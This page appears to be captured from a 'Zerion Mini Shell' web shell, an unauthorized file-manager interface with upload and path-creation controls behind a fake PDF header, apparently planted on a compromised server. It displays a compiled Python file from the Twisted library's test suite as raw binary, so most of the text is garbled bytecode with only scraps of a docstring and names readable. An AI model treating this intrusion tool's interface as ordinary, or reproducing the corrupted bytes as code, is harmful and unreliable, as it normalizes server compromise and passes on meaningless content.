%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/test/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/test/__pycache__/stdio_test_lastwrite.cpython-312.pyc

�

Ϫ�f�����dZddlZddlmZddlmZddlmZGd�de�Zd�Z	e
d	k(r@eejd
�j�ddl
mZe	eejd�yy)
z�
Main program for the child process run by
L{twisted.test.test_stdio.StandardInputOutputTests.test_lastWriteReceived}
to test that L{os.write} can be reliably used after
L{twisted.internet.stdio.StandardIO} has finished.
�N)�Protocol)�
StandardIO)�namedAnyc��eZdZd�Zd�Zd�Zy)�LastWriteChildc� �||_||_y�N)�reactor�magicString)�selfr
rs   �C/usr/lib/python3/dist-packages/twisted/test/stdio_test_lastwrite.py�__init__zLastWriteChild.__init__s�����&���c��|jj|j�|jj�yr	)�	transport�writer�loseConnection)rs r
�connectionMadezLastWriteChild.connectionMades*�������T�-�-�.����%�%�'rc�8�|jj�yr	)r
�stop)r�reasons  r
�connectionLostzLastWriteChild.connectionLosts�������rN)�__name__�
__module__�__qualname__rrr�rr
rrs��'�(�rrc�r�t||jd��}t|�|j�y)N�ascii)r�encoder�run)r
r�ps   r
�mainr"!s+���w�� 2� 2�7� ;�<�A��q�M��G�K�K�Mr�__main__�)r
�)�__doc__�sys�twisted.internet.protocolr�twisted.internet.stdior�twisted.python.reflectrrr"r�argv�install�twisted.internetr
rrr
�<module>r.sf��
��.�-�+�
�X�
���z���S�X�X�a�[��!�!�#�(���#�(�(�1�+��	r

Zerion Mini Shell 1.0